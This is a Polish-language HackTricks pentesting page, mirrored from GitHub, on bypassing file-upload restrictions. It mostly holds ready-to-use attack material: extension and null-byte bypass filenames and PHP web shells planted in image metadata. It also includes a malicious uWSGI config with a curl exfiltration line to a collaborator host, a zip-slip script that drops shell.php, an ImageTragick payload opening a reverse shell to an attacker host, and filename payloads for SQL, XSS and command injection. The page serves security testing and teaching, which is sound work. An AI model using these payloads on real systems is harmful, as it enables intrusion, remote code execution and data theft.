mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 21:24:06 +00:00
346 lines
27 KiB
Markdown
346 lines
27 KiB
Markdown
# Wysyłanie plików
|
||
|
||
<details>
|
||
|
||
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
Inne sposoby wsparcia HackTricks:
|
||
|
||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||
|
||
</details>
|
||
|
||
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
Jeśli interesuje Cię **kariera hakerska** i hakowanie niemożliwego do zhakowania - **rekrutujemy!** (_wymagana biegła znajomość języka polskiego, zarówno pisanego, jak i mówionego_).
|
||
|
||
{% embed url="https://www.stmcyber.com/careers" %}
|
||
|
||
## Ogólna Metodologia Wysyłania Plików
|
||
|
||
Inne przydatne rozszerzenia:
|
||
|
||
* **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._phps_, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
|
||
* **Praca w PHPv8**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_
|
||
* **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_
|
||
* **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_
|
||
* **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_
|
||
* **Flash**: _.swf_
|
||
* **Perl**: _.pl, .cgi_
|
||
* **Serwer WWW Erlang Yaws**: _.yaws_
|
||
|
||
### Ominiecie sprawdzania rozszerzeń plików
|
||
|
||
1. Jeśli stosują **sprawdzenie**, **sprawdź poprzednie rozszerzenia**. Sprawdź je również, używając **wielkich liter**: _pHp, .pHP5, .PhAr ..._
|
||
2. _Sprawdź **dodanie prawidłowego rozszerzenia przed** rozszerzeniem wykonania (użyj również poprzednich rozszerzeń):_
|
||
* _file.png.php_
|
||
* _file.png.Php5_
|
||
3. Spróbuj dodać **znaki specjalne na końcu**. Możesz użyć Burp do **próby siłowej** wszystkich znaków **ascii** i **Unicode**. (_Zauważ, że możesz również spróbować użyć **wcześniej** wspomnianych **rozszerzeń**_)
|
||
* _file.php%20_
|
||
* _file.php%0a_
|
||
* _file.php%00_
|
||
* _file.php%0d%0a_
|
||
* _file.php/_
|
||
* _file.php.\\_
|
||
* _file._
|
||
* _file.php...._
|
||
* _file.pHp5...._
|
||
4. Spróbuj ominąć zabezpieczenia **oszukując analizator rozszerzeń** po stronie serwera za pomocą technik takich jak **podwajanie** **rozszerzenia** lub dodawanie danych **śmieciowych** (bajtów **null**) między rozszerzeniami. _Możesz również użyć **poprzednich rozszerzeń** do przygotowania lepszego ładunku._
|
||
* _file.png.php_
|
||
* _file.png.pHp5_
|
||
* _file.php#.png_
|
||
* _file.php%00.png_
|
||
* _file.php\x00.png_
|
||
* _file.php%0a.png_
|
||
* _file.php%0d%0a.png_
|
||
* _file.phpJunk123png_
|
||
5. Dodaj **kolejną warstwę rozszerzeń** do poprzedniej kontroli:
|
||
* _file.png.jpg.php_
|
||
* _file.php%00.png%00.jpg_
|
||
6. Spróbuj umieścić **rozszerzenie exec przed prawidłowym rozszerzeniem** i miej nadzieję, że serwer jest źle skonfigurowany. (przydatne do wykorzystania błędów konfiguracji Apache, gdzie cokolwiek z rozszerzeniem\*\* _**.php**_**, ale** niekoniecznie kończące się na .php\*\* będzie wykonywać kod):
|
||
* _np. file.php.png_
|
||
7. Używanie **alternatywnego strumienia danych NTFS (ADS)** w **Windows**. W tym przypadku po niedozwolonym rozszerzeniu i przed dozwolonym zostanie wstawiony znak dwukropka ":". W rezultacie na serwerze zostanie utworzony **pusty plik z niedozwolonym rozszerzeniem** (np. "file.asax:.jpg"). Ten plik może być później edytowany za pomocą innych technik, takich jak korzystanie z jego krótkiej nazwy pliku. Wzorzec "**::$data**" może również być używany do tworzenia plików niepustych. Dlatego dodanie kropki po tym wzorcu może być również przydatne do ominięcia dalszych ograniczeń (np. "file.asp::$data.")
|
||
8. Spróbuj złamać limity nazwy pliku. Prawidłowe rozszerzenie zostaje odcięte, a złośliwy kod PHP pozostaje. AAA<--SNIP-->AAA.php
|
||
|
||
```
|
||
# Maksymalnie 255 bajtów w systemie Linux
|
||
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
|
||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # odejmij 4 i dodaj .png
|
||
# Wgraj plik i sprawdź odpowiedź, ile znaków pozwala. Załóżmy 236
|
||
python -c 'print "A" * 232'
|
||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||
# Utwórz ładunek
|
||
AAA<--SNIP 232 A-->AAA.php.png
|
||
```
|
||
### Ominięcie typu zawartości, numeru magicznego, kompresji i zmiany rozmiaru
|
||
|
||
* Ominięcie sprawdzania **typu zawartości** przez ustawienie **wartości** **nagłówka** **Content-Type** na: _image/png_, _text/plain_, _application/octet-stream_
|
||
1. **Lista słów kluczowych Content-Type**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt)
|
||
* Ominięcie sprawdzania **numeru magicznego** poprzez dodanie na początku pliku **bajtów rzeczywistego obrazu** (myli polecenie _file_). Lub wprowadź powłokę w **metadanych**:\
|
||
`exiftool -Comment="<?php echo 'Polecenie:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||
`\` lub można również **wprost wprowadzić ładunek** w obrazie:\
|
||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||
* Jeśli do twojego obrazu jest dodawana **kompresja**, na przykład za pomocą standardowych bibliotek PHP takich jak [PHP-GD](https://www.php.net/manual/fr/book.image.php), poprzednie techniki nie będą przydatne. Możesz jednak użyć **kawałka PLTE** [**technika zdefiniowana tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) do wstawienia tekstu, który **przetrwa kompresję**.
|
||
* [**Github z kodem**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php)
|
||
* Strona internetowa może również **zmieniać rozmiar obrazu**, używając na przykład funkcji PHP-GD `imagecopyresized` lub `imagecopyresampled`. Możesz jednak użyć **kawałka IDAT** [**technika zdefiniowana tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) do wstawienia tekstu, który **przetrwa kompresję**.
|
||
* [**Github z kodem**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php)
|
||
* Inna technika umożliwiająca utworzenie ładunku, który **przetrwa zmianę rozmiaru obrazu**, to użycie funkcji PHP-GD `thumbnailImage`. Możesz jednak użyć **kawałka tEXt** [**technika zdefiniowana tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) do wstawienia tekstu, który **przetrwa kompresję**.
|
||
* [**Github z kodem**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php)
|
||
|
||
### Inne sztuczki do sprawdzenia
|
||
|
||
* Znajdź podatność umożliwiającą **zmianę nazwy** już przesłanego pliku (aby zmienić rozszerzenie).
|
||
* Znajdź podatność na **Lokalne Włączenie Pliku** do wykonania backdoor.
|
||
* **Możliwe ujawnienie informacji**:
|
||
1. Prześlij **kilka razy** (i **jednocześnie**) ten **sam plik** o **tej samej nazwie**
|
||
2. Prześlij plik o **nazwie** **pliku** lub **folderu**, który **już istnieje**
|
||
3. Prześlij plik o nazwie **“.”, “..”, lub “…”**. Na przykład w Apache w **Windows**, jeśli aplikacja zapisuje przesłane pliki w katalogu “/www/uploads/”, nazwa pliku “.” utworzy plik o nazwie “uploads” w katalogu “/www/”.
|
||
4. Prześlij plik, który nie może być łatwo usunięty, taki jak **“…:.jpg”** w **NTFS**. (Windows)
|
||
5. Prześlij plik w **Windows** z **nieprawidłowymi znakami** takimi jak `|<>*?”` w nazwie. (Windows)
|
||
6. Prześlij plik w **Windows** używając **zarezerwowanych** (**zakazanych**) **nazw** takich jak CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 i LPT9.
|
||
* Spróbuj również **przesłać plik wykonywalny** (.exe) lub **.html** (mniej podejrzany), który **wykona kod** w przypadku przypadkowego otwarcia przez ofiarę.
|
||
|
||
### Specjalne sztuczki z rozszerzeniami
|
||
|
||
Jeśli próbujesz przesłać pliki do serwera **PHP**, [sprawdź sztuczkę z plikiem **.htaccess** do wykonania kodu](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
|
||
Jeśli próbujesz przesłać pliki do serwera **ASP**, [sprawdź sztuczkę z plikiem **.config** do wykonania kodu](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
||
|
||
Pliki `.phar` są jak pliki `.jar` dla Javy, ale dla PHP i mogą być **używane jak plik PHP** (wykonywane z użyciem php lub dołączane do skryptu...)
|
||
|
||
Rozszerzenie `.inc` jest czasami używane dla plików PHP, które służą tylko do **importowania plików**, więc w pewnym momencie ktoś mógł pozwolić na **wykonanie tego rozszerzenia**.
|
||
|
||
## **Jetty RCE**
|
||
|
||
Jeśli możesz przesłać plik XML do serwera Jetty, możesz uzyskać [RCE, ponieważ **nowe pliki \*.xml i \*.war są automatycznie przetwarzane**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Więc, jak wspomniano na poniższym obrazie, przesłaj plik XML do `$JETTY_BASE/webapps/` i czekaj na powłokę!
|
||
|
||
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../.gitbook/assets/image (1044).png>)
|
||
|
||
## **uWSGI RCE**
|
||
|
||
Dla szczegółowego zbadania tej podatności sprawdź oryginalne badania: [Eksploatacja uWSGI RCE](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
||
|
||
Podatności na zdalne wykonanie kodu (RCE) mogą być wykorzystane w serwerach uWSGI, jeśli ktoś ma możliwość modyfikacji pliku konfiguracyjnego `.ini`. Pliki konfiguracyjne uWSGI wykorzystują konkretną składnię do uwzględniania "magicznych" zmiennych, zastępców i operatorów. Warto zauważyć, że operator '@', używany jako `@(nazwa_pliku)`, służy do dołączania zawartości pliku. Wśród różnych obsługiwanych schematów w uWSGI, schemat "exec" jest szczególnie potężny, umożliwiając odczytywanie danych z wyjścia standardowego procesu. Ta funkcja może być manipulowana w celach niecnych, takich jak zdalne wykonanie kodu lub zapis/odczyt plików, gdy plik konfiguracyjny `.ini` jest przetwarzany.
|
||
|
||
Rozważ poniższy przykład szkodliwego pliku `uwsgi.ini`, prezentującego różne schematy:
|
||
```ini
|
||
[uwsgi]
|
||
; read from a symbol
|
||
foo = @(sym://uwsgi_funny_function)
|
||
; read from binary appended data
|
||
bar = @(data://[REDACTED])
|
||
; read from http
|
||
test = @(http://[REDACTED])
|
||
; read from a file descriptor
|
||
content = @(fd://[REDACTED])
|
||
; read from a process stdout
|
||
body = @(exec://whoami)
|
||
; curl to exfil via collaborator
|
||
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
|
||
; call a function returning a char *
|
||
characters = @(call://uwsgi_func)
|
||
```
|
||
Wykonanie ładunku następuje podczas analizy pliku konfiguracyjnego. Aby konfiguracja została aktywowana i sparsowana, proces uWSGI musi zostać zrestartowany (potencjalnie po awarii lub w wyniku ataku typu Denial of Service) lub plik musi być ustawiony do automatycznego przeładowania. Funkcja automatycznego przeładowania, jeśli jest włączona, przeładowuje plik w określonych odstępach czasu po wykryciu zmian.
|
||
|
||
Niezwykle istotne jest zrozumienie luźnego charakteru analizy pliku konfiguracyjnego uWSGI. W szczególności omawiany ładunek może być wstawiony do pliku binarnego (takiego jak obraz lub PDF), co dodatkowo poszerza zakres potencjalnej eksploatacji.
|
||
|
||
## **Sztuczka z przesyłaniem plików/wykonywaniem żądań SSRF za pomocą wget**
|
||
|
||
W niektórych sytuacjach możesz zauważyć, że serwer używa **`wget`** do **pobierania plików** i możesz **określić** **URL**. W tych przypadkach kod może sprawdzać, czy rozszerzenie pobieranych plików znajduje się na białej liście, aby zapewnić, że pobierane są tylko dozwolone pliki. Jednakże, **to sprawdzenie można ominąć.**\
|
||
**Maksymalna** długość **nazwy pliku** w systemie **Linux** to **255**, jednakże **wget** skraca nazwy plików do **236** znaków. Możesz **pobrać plik o nazwie "A"\*232+".php"+".gif"**, ta nazwa pliku **obejdzie** **sprawdzenie** (jak w tym przykładzie **".gif"** to **poprawne** rozszerzenie), ale `wget` **zmieni nazwę** pliku na **"A"\*232+".php"**.
|
||
```bash
|
||
#Create file and HTTP server
|
||
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
|
||
python3 -m http.server 9080
|
||
```
|
||
|
||
```bash
|
||
#Download the file
|
||
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
|
||
The name is too long, 240 chars total.
|
||
Trying to shorten...
|
||
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
|
||
--2020-06-13 03:14:06-- http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
|
||
Connecting to 127.0.0.1:9080... connected.
|
||
HTTP request sent, awaiting response... 200 OK
|
||
Length: 10 [image/gif]
|
||
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’
|
||
|
||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>] 10 --.-KB/s in 0s
|
||
|
||
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
|
||
```
|
||
Zauważ, że **inną opcją**, o której możesz myśleć, aby ominąć tę kontrolę, jest sprawienie, że **serwer HTTP przekieruje do innego pliku**, więc początkowy URL ominie kontrolę, a następnie wget pobierze przekierowany plik pod nową nazwą. To **nie zadziała**, **chyba że** wget jest używany z **parametrem** `--trust-server-names`, ponieważ **wget pobierze przekierowaną stronę pod nazwą pliku wskazaną w oryginalnym URL-u**.
|
||
|
||
## Narzędzia
|
||
|
||
* [Upload Bypass](https://github.com/sAjibuu/Upload\_Bypass) to potężne narzędzie zaprojektowane do pomocy Pentesterom i Łowcom Błędów w testowaniu mechanizmów przesyłania plików. Wykorzystuje różne techniki nagród za błędy, aby uproszczać proces identyfikacji i wykorzystywania podatności, zapewniając kompleksową ocenę aplikacji internetowych.
|
||
|
||
## Od przesyłania plików do innych podatności
|
||
|
||
* Ustaw **nazwę pliku** na `../../../tmp/lol.png` i spróbuj osiągnąć **trawersowanie ścieżki**
|
||
* Ustaw **nazwę pliku** na `sleep(10)-- -.jpg` i być może uda ci się osiągnąć **wstrzyknięcie SQL**
|
||
* Ustaw **nazwę pliku** na `<svg onload=alert(document.domain)>` aby osiągnąć XSS
|
||
* Ustaw **nazwę pliku** na `; sleep 10;` aby przetestować wstrzyknięcie poleceń (więcej [sztuczek wstrzykiwania poleceń tutaj](../command-injection.md))
|
||
* [**XSS** w przesyłanym pliku obrazu (svg)](../xss-cross-site-scripting/#xss-uploading-files-svg)
|
||
* Przesyłanie pliku **JS** + **XSS** = [Eksploatacja **Service Workers**](../xss-cross-site-scripting/#xss-abusing-service-workers)
|
||
* [**XXE w przesyłanym svg**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
||
* [**Otwarte przekierowanie** poprzez przesyłanie pliku svg](../open-redirect.md#open-redirect-uploading-svg-files)
|
||
* Wypróbuj **różne ładunki svg** z [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
|
||
* [Znana podatność **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||
* Jeśli możesz **wskazać serwerowi internetowemu, aby przechwycił obraz z adresu URL**, możesz spróbować nadużyć [SSRF](../ssrf-server-side-request-forgery/). Jeśli ten **obraz** ma być **zapisany** na jakiejś **publicznej** stronie, możesz również wskazać adres URL z [https://iplogger.org/invisible/](https://iplogger.org/invisible/) i **ukraść informacje o każdym odwiedzającym**.
|
||
* [**XXE i bypass CORS** poprzez przesyłanie pliku PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md)
|
||
* Specjalnie przygotowane pliki PDF do XSS: [Następna strona prezentuje, jak **wstrzyknąć dane PDF, aby uzyskać wykonanie JS**](../xss-cross-site-scripting/pdf-injection.md). Jeśli możesz przesłać pliki PDF, możesz przygotować PDF, które wykonają dowolny JS, postępując zgodnie z podanymi wskazówkami.
|
||
* Prześlij zawartość \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) aby sprawdzić, czy serwer ma jakieś **oprogramowanie antywirusowe**
|
||
* Sprawdź, czy istnieje jakieś **ograniczenie rozmiaru** przesyłanych plików
|
||
|
||
Oto lista 10 rzeczy, które możesz osiągnąć poprzez przesyłanie (z [tutaj](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
||
|
||
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
|
||
2. **SVG**: Stored XSS / SSRF / XXE
|
||
3. **GIF**: Stored XSS / SSRF
|
||
4. **CSV**: Wstrzyknięcie CSV
|
||
5. **XML**: XXE
|
||
6. **AVI**: LFI / SSRF
|
||
7. **HTML / JS** : Wstrzyknięcie HTML / XSS / Otwarte przekierowanie
|
||
8. **PNG / JPEG**: Atak zalewania pikseli (DoS)
|
||
9. **ZIP**: RCE poprzez LFI / DoS
|
||
10. **PDF / PPTX**: SSRF / Ślepa XXE
|
||
|
||
#### Rozszerzenie Burp
|
||
|
||
{% embed url="https://github.com/portswigger/upload-scanner" %}
|
||
|
||
## Magiczne bajty nagłówka
|
||
|
||
* **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["`
|
||
* **JPG**: `"\xff\xd8\xff"`
|
||
|
||
Odniesienie do [https://en.wikipedia.org/wiki/List\_of\_file\_signatures](https://en.wikipedia.org/wiki/List\_of\_file\_signatures) dla innych typów plików.
|
||
|
||
### Automatyczne dekompresowanie plików Zip/Tar podczas przesyłania
|
||
|
||
Jeśli możesz przesłać plik ZIP, który zostanie zdekompresowany na serwerze, możesz zrobić 2 rzeczy:
|
||
|
||
#### Symlink
|
||
|
||
Prześlij link zawierający miękkie linki do innych plików, a następnie, uzyskując dostęp do zdekompresowanych plików, uzyskasz dostęp do połączonych plików:
|
||
```
|
||
ln -s ../../../index.php symindex.txt
|
||
zip --symlinks test.zip symindex.txt
|
||
tar -cvf test.tar symindex.txt
|
||
```
|
||
### Dekompresuj w różnych folderach
|
||
|
||
Niespodziewane tworzenie plików w katalogach podczas dekompresji stanowi istotny problem. Pomimo początkowych założeń, że taka konfiguracja może chronić przed wykonaniem poleceń na poziomie systemu operacyjnego poprzez złośliwe przesyłanie plików, hierarchiczne wsparcie dla kompresji i możliwości nawigacji po katalogach formatu archiwum ZIP mogą być wykorzystane. Pozwala to atakującym obejść ograniczenia i uciec z bezpiecznych katalogów przesyłania, manipulując funkcjonalnością dekompresji docelowej aplikacji.
|
||
|
||
Automatyczny exploit do tworzenia takich plików jest dostępny na [**evilarc na GitHubie**](https://github.com/ptoomey3/evilarc). Narzędzie można użyć w następujący sposób:
|
||
```python
|
||
# Listing available options
|
||
python2 evilarc.py -h
|
||
# Creating a malicious archive
|
||
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
|
||
```
|
||
Dodatkowo, **szalony trik z symlinkiem z evilarc** jest opcją. Jeśli celem jest docelowy plik tak jak `/flag.txt`, należy utworzyć symlink do tego pliku w systemie. Zapewnia to, że evilarc nie napotyka błędów podczas swojej operacji.
|
||
|
||
Poniżej znajduje się przykład kodu w języku Python używanego do utworzenia złośliwego pliku zip:
|
||
```python
|
||
#!/usr/bin/python
|
||
import zipfile
|
||
from io import BytesIO
|
||
|
||
def create_zip():
|
||
f = BytesIO()
|
||
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
|
||
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
|
||
z.writestr('otherfile.xml', 'Content of the file')
|
||
z.close()
|
||
zip = open('poc.zip','wb')
|
||
zip.write(f.getvalue())
|
||
zip.close()
|
||
|
||
create_zip()
|
||
```
|
||
**Wykorzystywanie kompresji do rozprzestrzeniania plików**
|
||
|
||
Aby uzyskać więcej szczegółów, **sprawdź oryginalny post na**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
||
|
||
1. **Tworzenie powłoki PHP**: Kod PHP jest napisany w celu wykonania poleceń przekazanych za pomocą zmiennej `$_REQUEST`.
|
||
|
||
```php
|
||
<?php
|
||
if(isset($_REQUEST['cmd'])){
|
||
$cmd = ($_REQUEST['cmd']);
|
||
system($cmd);
|
||
}?>
|
||
```
|
||
|
||
2. **Rozprzestrzenianie plików i tworzenie skompresowanego pliku**: Tworzone są multiple pliki, a następnie składany jest archiwum zip zawierający te pliki.
|
||
|
||
```bash
|
||
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
|
||
root@s2crew:/tmp# zip cmd.zip xx*.php
|
||
```
|
||
|
||
3. **Modyfikacja za pomocą edytora heksadecymalnego lub vi**: Nazwy plików wewnątrz archiwum zip są zmieniane za pomocą vi lub edytora heksadecymalnego, zamieniając "xxA" na "../" w celu przemieszczania się po katalogach.
|
||
|
||
```bash
|
||
:set modifiable
|
||
:%s/xxA/..\//g
|
||
:x!
|
||
```
|
||
```
|
||
push graphic-context
|
||
viewbox 0 0 640 480
|
||
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
|
||
pop graphic-context
|
||
```
|
||
## Osadzanie powłoki PHP w pliku PNG
|
||
|
||
Osadzenie powłoki PHP w segmencie IDAT pliku PNG może skutecznie ominąć pewne operacje przetwarzania obrazu. Funkcje `imagecopyresized` i `imagecopyresampled` z PHP-GD są szczególnie istotne w tym kontekście, ponieważ są powszechnie używane do zmiany rozmiaru i próbkowania obrazów. Zdolność osadzonej powłoki PHP do pozostania niezmienionej podczas tych operacji stanowi znaczącą zaletę w pewnych przypadkach użycia.
|
||
|
||
Szczegółowe omówienie tej techniki, wraz z jej metodologią i potencjalnymi zastosowaniami, znajduje się w następującym artykule: ["Kodowanie powłok internetowych w segmentach IDAT plików PNG"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Ten zasób oferuje kompleksowe zrozumienie procesu i jego implikacji.
|
||
|
||
Więcej informacji pod adresem: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||
|
||
## Pliki poliglotyczne
|
||
|
||
Pliki poliglotyczne stanowią unikalne narzędzie w cyberbezpieczeństwie, działając jak kameleon, który może istnieć jednocześnie w wielu formatach plików. Intrygującym przykładem jest [GIFAR](https://en.wikipedia.org/wiki/Gifar), hybryda, która działa zarówno jako plik GIF, jak i archiwum RAR. Takie pliki nie są ograniczone do tej pary; kombinacje takie jak GIF i JS lub PPT i JS są również możliwe.
|
||
|
||
Podstawowe zastosowanie plików poliglotycznych polega na ich zdolności do omijania środków bezpieczeństwa, które przesiewają pliki na podstawie typu. Powszechną praktyką w różnych aplikacjach jest zezwalanie tylko na określone typy plików do przesyłania - takie jak JPEG, GIF lub DOC - w celu zmniejszenia ryzyka związanego z potencjalnie szkodliwymi formatami (np. plikami JS, PHP lub Phar). Jednak plik poliglotyczny, poprzez dostosowanie się do kryteriów strukturalnych wielu typów plików, może skutecznie ominąć te ograniczenia.
|
||
|
||
Mimo swojej elastyczności, pliki poliglotyczne napotykają pewne ograniczenia. Na przykład, chociaż plik poliglotyczny może jednocześnie reprezentować plik PHAR (PHp ARchive) i JPEG, sukces jego przesłania może zależeć od polityk rozszerzeń plików platformy. Jeśli system jest rygorystyczny w kwestii dozwolonych rozszerzeń, sama strukturalna dwuistotność pliku poliglotycznego może nie wystarczyć, aby zagwarantować jego przesłanie.
|
||
|
||
Więcej informacji pod adresem: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||
|
||
## Odnośniki
|
||
|
||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
|
||
* [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner)
|
||
* [https://github.com/almandin/fuxploider](https://github.com/almandin/fuxploider)
|
||
* [https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)
|
||
* [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||
* [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||
|
||
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
